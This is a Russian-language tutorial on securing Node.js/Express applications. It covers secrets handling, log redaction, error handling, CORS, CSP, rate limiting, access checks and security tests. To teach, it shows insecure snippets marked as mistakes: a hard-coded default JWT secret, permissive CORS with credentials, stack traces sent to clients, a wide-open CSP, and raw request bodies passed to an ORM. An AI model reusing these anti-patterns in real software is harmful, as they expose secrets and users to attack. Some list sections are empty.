Даже приватный Git-репозиторий не является подходящим хранилищем секретов:


Переменные окружения

Базовый вариант:

const databasePassword =
  process.env.DATABASE_PASSWORD;

if (!databasePassword) {
  throw new Error(
    "DATABASE_PASSWORD не настроен",
  );
}

Переменные окружения лучше исходного кода, но они не являются полноценным секретным хранилищем.

Они могут быть доступны:

В production предпочтительно использовать специализированное хранилище секретов и выдавать приложению минимально необходимый доступ.


.env

Локальный файл:

DATABASE_URL=...
JWT_SECRET=...
OAUTH_CLIENT_SECRET=...

должен быть исключён из Git:

.env
.env.local
.env.*.local

В репозиторий можно добавить шаблон без реальных значений:

.env.example
DATABASE_URL=
JWT_SECRET=
OAUTH_CLIENT_ID=
OAUTH_CLIENT_SECRET=

.env.example документирует имена параметров, но не содержит секреты.


Проверка конфигурации

Приложение должно завершать запуск, если обязательный секрет отсутствует:

function requireEnvironmentVariable(name) {
  const value = process.env[name];

  if (!value) {
    throw new Error(
      `Переменная ${name} не настроена`,
    );
  }

  return value;
}

const config = {
  databaseUrl:
    requireEnvironmentVariable(
      "DATABASE_URL",
    ),

  jwtSecret:
    requireEnvironmentVariable(
      "JWT_SECRET",
    ),
};

Нельзя подставлять слабый production-секрет по умолчанию:

const jwtSecret =
  process.env.JWT_SECRET ||
  "default-secret";

Такая конфигурация может незаметно запуститься с известным ключом.


Не отправлять серверные секреты во frontend

Переменные, встроенные в браузерный JavaScript, доступны пользователю.

Например, после сборки значение окажется в загружаемом скрипте:

const secret =
  import.meta.env.PUBLIC_API_SECRET;

В клиентском приложении допустимы публичные идентификаторы:

OAuth client ID
публичный API endpoint
публичный ключ
идентификатор аналитики

Но не:

OAuth client secret
JWT signing secret
пароль базы
приватный API-ключ
приватный ключ

Если браузеру нужно обратиться к сервису, требующему секрет, запрос должен проходить через backend.


Разделение секретов по окружениям

Следует использовать разные секреты для:

development
test
staging
production

Нельзя использовать production credentials в локальной разработке.

Также полезно разделять секреты по сервисам:

User Service     → собственные DB credentials
Order Service    → собственные DB credentials
Report Service   → собственный API key

Компрометация одного компонента не должна автоматически давать доступ ко всей системе.


Принцип минимальных привилегий

Каждому секрету предоставляются только необходимые полномочия.

Пример:

Read-only сервис получает только SELECT
Сервис загрузки получает доступ только к одному bucket
CI для тестов не получает production credentials
API-ключ ограничивается нужными endpoint

Секрет также полезно ограничивать:


Ротация секретов

Секреты необходимо регулярно менять и уметь менять после инцидента.

Безопасная ротация ключа может включать:

  1. создание нового ключа;
  2. одновременную поддержку старого и нового ключа для проверки;
  3. выпуск новых данных с новым ключом;
  4. ожидание завершения срока старых токенов;
  5. отключение старого ключа;
  6. удаление старого секрета;
  7. фиксацию операции в аудите.

Для JWT асимметрические ключи часто идентифицируются через kid:

{
  alg: "RS256",
  typ: "JWT",
  kid: "key-2026-09"
}

Проверяющая сторона выбирает соответствующий публичный ключ, но всё равно обязана проверять разрешённый алгоритм, issuer, audience и срок действия.


Если секрет попал в Git

Удаления строки в новом коммите недостаточно. Значение остаётся в истории.

Необходимо:

  1. немедленно отозвать или заменить секрет;
  2. определить область компрометации;
  3. проверить журналы использования;
  4. выпустить новые credentials;
  5. обновить приложения;
  6. при необходимости очистить историю;
  7. уведомить ответственных;
  8. определить причину утечки;
  9. добавить автоматическое сканирование.

Главное действие — ротация. Очистка Git-истории без отзыва не делает старый секрет безопасным.


Логирование и маскирование

Нежелательно:

logger.info("Configuration", {
  config,
});

Если в config есть секреты, они попадут в журнал.

Безопаснее выводить только разрешённые поля:

logger.info("Application configuration loaded", {
  environment: config.environment,
  publicOrigin: config.publicOrigin,
  databaseHost: config.databaseHost,
});

Для HTTP-заголовков следует маскировать:

Authorization
Cookie
Set-Cookie
X-API-Key

Пример:

function redactHeaders(headers) {
  return {
    ...headers,
    authorization: headers.authorization
      ? "[REDACTED]"
      : undefined,
    cookie: headers.cookie
      ? "[REDACTED]"
      : undefined,
    "x-api-key": headers["x-api-key"]
      ? "[REDACTED]"
      : undefined,
  };
}

Безопасная обработка ошибок

Подробные ошибки полезны разработчику, но могут раскрывать внутреннее устройство приложения.

Небезопасно:

app.use((error, request, response, next) => {
  response.status(500).json({
    message: error.message,
    stack: error.stack,
    query: error.query,
  });
});

Безопасный обработчик:

app.use((error, request, response, next) => {
  logger.error("Request processing failed", {
    requestId: request.id,
    error,
  });

  if (error instanceof ValidationError) {
    return response.status(422).json({
      error: "validation_failed",
      message: error.message,
      details: error.details,
      requestId: request.id,
    });
  }

  return response.status(500).json({
    error: "internal_error",
    message: "Не удалось обработать запрос",
    requestId: request.id,
  });
});

Клиент получает безопасное сообщение и requestId, а внутренние детали остаются в защищённом журнале.


CORS и безопасность

CORS не является механизмом аутентификации.

Небезопасная конфигурация:

app.use(
  cors({
    origin: true,
    credentials: true,
  }),
);

Она может отражать произвольный origin при включённых credentials.

Предпочтительна явная проверка:

const allowedOrigins = new Set([
  "https://app.example.com",
  "https://admin.example.com",
]);

const corsOptions = {
  origin(origin, callback) {
    if (!origin) {
      return callback(null, true);
    }

    if (!allowedOrigins.has(origin)) {
      return callback(
        new Error(
          "Origin не разрешён",
        ),
      );
    }

    return callback(null, true);
  },

  credentials: true,
};

Отсутствие Origin характерно, например, для части серверных клиентов. Разрешать такие запросы или нет следует на основании сценария, а не случайно.

Нельзя использовать вместе:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Для credentialed-запросов необходимо указывать конкретный origin.


Загрузка файлов

Загрузка файлов требует отдельной модели безопасности.

Нельзя доверять:

Основные меры:

Генерация серверного имени:

import { randomUUID } from "node:crypto";

function createStorageKey(extension) {
  const allowedExtensions = new Set([
    ".jpg",
    ".png",
    ".pdf",
  ]);

  if (!allowedExtensions.has(extension)) {
    throw new ValidationError(
      "Недопустимый тип файла",
    );
  }

  return `${randomUUID()}${extension}`;
}

Проверка расширения сама по себе недостаточна. Необходимо проверять содержимое и использовать безопасное хранение.


Базовая конфигурация Express

Пример минимального защитного слоя:

import express from "express";
import helmet from "helmet";
import rateLimit from "express-rate-limit";

const app = express();

app.disable("x-powered-by");

app.set("trust proxy", 1);

app.use(
  helmet({
    contentSecurityPolicy: {
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'"],
        styleSrc: ["'self'"],
        imgSrc: [
          "'self'",
          "data:",
          "https://images.example.com",
        ],
        connectSrc: ["'self'"],
        objectSrc: ["'none'"],
        baseUri: ["'self'"],
        frameAncestors: ["'none'"],
        formAction: ["'self'"],
      },
    },
  }),
);

app.use(
  express.json({
    limit: "100kb",
  }),
);

app.use(
  express.urlencoded({
    extended: false,
    limit: "50kb",
  }),
);

const apiLimiter = rateLimit({
  windowMs: 60 * 1000,
  limit: 100,
  standardHeaders: true,
  legacyHeaders: false,
});

app.use("/api", apiLimiter);

Строгий limiter для входа:

const authLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  limit: 10,
  standardHeaders: true,
  legacyHeaders: false,
  skipSuccessfulRequests: true,
});

app.post(
  "/auth/login",
  authLimiter,
  authController.login,
);

Валидация данных:

app.post(
  "/api/products",
  authenticate,
  requirePermission("product:create"),
  async (request, response, next) => {
    try {
      const input =
        validateCreateProduct(
          request.body,
        );

      const product =
        await productService.create(input);

      return response
        .status(201)
        .json(product);
    } catch (error) {
      return next(error);
    }
  },
);

Безопасный обработчик неизвестного маршрута:

app.use((request, response) => {
  response.status(404).json({
    error: "not_found",
    message: "Маршрут не найден",
    requestId: request.id,
  });
});

Обработчик ошибок должен располагаться после маршрутов:

app.use((error, request, response, next) => {
  logger.error("Unhandled request error", {
    requestId: request.id,
    method: request.method,
    path: request.path,
    error,
  });

  if (error instanceof ValidationError) {
    return response.status(422).json({
      error: "validation_failed",
      message: error.message,
      details: error.details,
      requestId: request.id,
    });
  }

  return response.status(500).json({
    error: "internal_error",
    message: "Внутренняя ошибка",
    requestId: request.id,
  });
});

Это только базовая конфигурация. Она не заменяет безопасную бизнес-логику, авторизацию и проверку инфраструктуры.


Безопасный порядок обработки запроса

Типичный защищённый маршрут:

1. Ограничение размера запроса
2. Rate limiting
3. Аутентификация
4. Проверка CSRF, если используются cookie
5. Синтаксическая валидация
6. Авторизация
7. Проверка принадлежности ресурса
8. Бизнес-валидация
9. Безопасная работа с базой
10. Формирование ответа
11. Безопасное журналирование

Пример:

router.patch(
  "/orders/:orderId",
  orderRateLimiter,
  authenticate,
  verifyCsrf,
  validateOrderId,
  validateOrderChanges,
  requirePermission("order:update"),
  orderController.update,
);

При этом окончательная проверка доступа к конкретному заказу должна выполняться рядом с бизнес-операцией:

class UpdateOrder {
  constructor(orderRepository) {
    this.orderRepository =
      orderRepository;
  }

  async execute({
    currentUser,
    orderId,
    changes,
  }) {
    const order =
      await this.orderRepository.findById(
        orderId,
      );

    if (!order) {
      throw new NotFoundError(
        "Заказ не найден",
      );
    }

    const canUpdate =
      order.userId === currentUser.id ||
      currentUser.permissions.includes(
        "order:update:any",
      );

    if (!canUpdate) {
      throw new ForbiddenError(
        "Недостаточно прав",
      );
    }

    if (order.status !== "new") {
      throw new ConflictError(
        "Заказ больше нельзя изменить",
      );
    }

    return this.orderRepository.update(
      orderId,
      changes,
    );
  }
}

Проверка только на уровне маршрута может быть недостаточной, если одна и та же операция вызывается из другого интерфейса.


Тестирование безопасности

Автоматические тесты должны проверять не только успешные сценарии.

Пример набора тестов для ресурса:

Неаутентифицированный пользователь получает 401
Обычный пользователь не может вызвать admin endpoint
Пользователь не может получить чужой ресурс
Пользователь не может изменить владельца ресурса
Неизвестные поля отклоняются или игнорируются
SQL-метасимволы остаются обычными данными
HTML отображается как текст
CSRF-запрос без токена отклоняется
Превышение лимита возвращает 429
Просроченный токен отклоняется
Удалённая роль больше не даёт доступ

Пример теста горизонтального доступа:

const response = await api
  .get(`/api/orders/${anotherUsersOrder.id}`)
  .set(
    "Authorization",
    `Bearer ${userAccessToken}`,
  );

console.assert(
  response.status === 403 ||
  response.status === 404,
);

Пример теста неизвестного поля:

const response = await api
  .post("/api/users")
  .send({
    email: "anna@example.com",
    password: "long-secure-password",
    role: "admin",
  });

console.assert(
  response.body.role !== "admin",
);

Частые ошибки

Доверие frontend-валидации

Нельзя:

// Проверка есть только в браузере
if (price >= 0) {
  submit();
}

Сервер должен независимо проверить значение.


Замена параметризации удалением символов

Нежелательно:

const safeEmail = email.replaceAll(
  "'",
  "",
);

Это не является надёжной защитой от SQL injection.

Нужно использовать параметры SQL.


Универсальная sanitize() для всех контекстов

Нежелательно:

const safeValue = sanitize(input);

Непонятно, для какого контекста значение стало безопасным.

Правильная защита определяется местом использования:

SQL  → параметры
HTML → экранирование
URL  → URL parser + allowlist
Shell → отказ от shell

Полный объект запроса передаётся в ORM

Нежелательно:

await orm.user.update({
  where: {
    id: request.user.id,
  },
  data: request.body,
});

Клиент может передать внутренние поля.

Безопаснее:

const changes = {
  displayName:
    request.body.displayName,
  bio: request.body.bio,
};

await orm.user.update({
  where: {
    id: request.user.id,
  },
  data: changes,
});

Слишком разрешающий CORS

Нежелательно:

app.use(
  cors({
    origin: true,
    credentials: true,
  }),
);

Следует использовать явный allowlist.


Отключение CSP из-за ошибок интерфейса

Нежелательно:

Content-Security-Policy:
  default-src *
  script-src * 'unsafe-inline' 'unsafe-eval'

Такой заголовок почти не ограничивает выполнение кода.

Нужно определить, какие ресурсы действительно необходимы, и постепенно ужесточать политику.


Секрет в .env, добавленном в Git

Файл .env не становится безопасным только из-за названия.

Если он добавлен в репозиторий, секрет считается раскрытым и должен быть заменён.


HTTPS только на форме входа

После входа session cookie и персональные данные продолжают передаваться. Поэтому HTTPS нужен для всего приложения.


Rate limiting только на общем API

Общий лимит может быть слишком высоким для входа и слишком низким для публичных ресурсов.

Чувствительные операции требуют отдельных лимитов.


Краткая памятка

OWASP Top 10: 2021:

A01 — Broken Access Control
A02 — Cryptographic Failures
A03 — Injection
A04 — Insecure Design
A05 — Security Misconfiguration
A06 — Vulnerable and Outdated Components
A07 — Identification and Authentication Failures
A08 — Software and Data Integrity Failures
A09 — Security Logging and Monitoring Failures
A10 — Server-Side Request Forgery

Защита от XSS:

Использовать textContent
Экранировать HTML-вывод
Санитизировать разрешённый HTML
Не использовать eval
Ограничить innerHTML
Настроить CSP
Использовать HttpOnly cookie

Защита от CSRF:

SameSite cookie
CSRF-токен
Проверка Origin
Запрет изменения через GET
Повторное подтверждение критичных операций

Защита от SQL injection:

Параметризованные запросы
Allowlist динамических столбцов
Безопасный API ORM
Минимальные права базы
Отказ от самостоятельного экранирования

Валидация:

Проверять тип
Проверять диапазон
Ограничивать длину
Использовать allowlist
Отклонять неизвестные поля
Ограничивать размер запроса
Повторять проверку на сервере

Rate limiting:

Отдельные лимиты для login/reset/export/upload
Комбинация IP, пользователя и API-ключа
Общее хранилище для нескольких серверов
Ответ 429 и Retry-After
Мониторинг срабатываний

Базовый Helmet:

import helmet from "helmet";

app.use(helmet());

HTTPS:

HTTPS на всём сайте
HTTP → HTTPS redirect
HSTS после проверки инфраструктуры
Secure cookie
Отсутствие mixed content
Контроль сертификатов

Секреты:

Не хранить в коде
Не добавлять в Git
Не отправлять во frontend
Не записывать в логи
Разделять по окружениям
Выдавать минимальные права
Регулярно ротировать
Немедленно отзывать после утечки

Основные правила: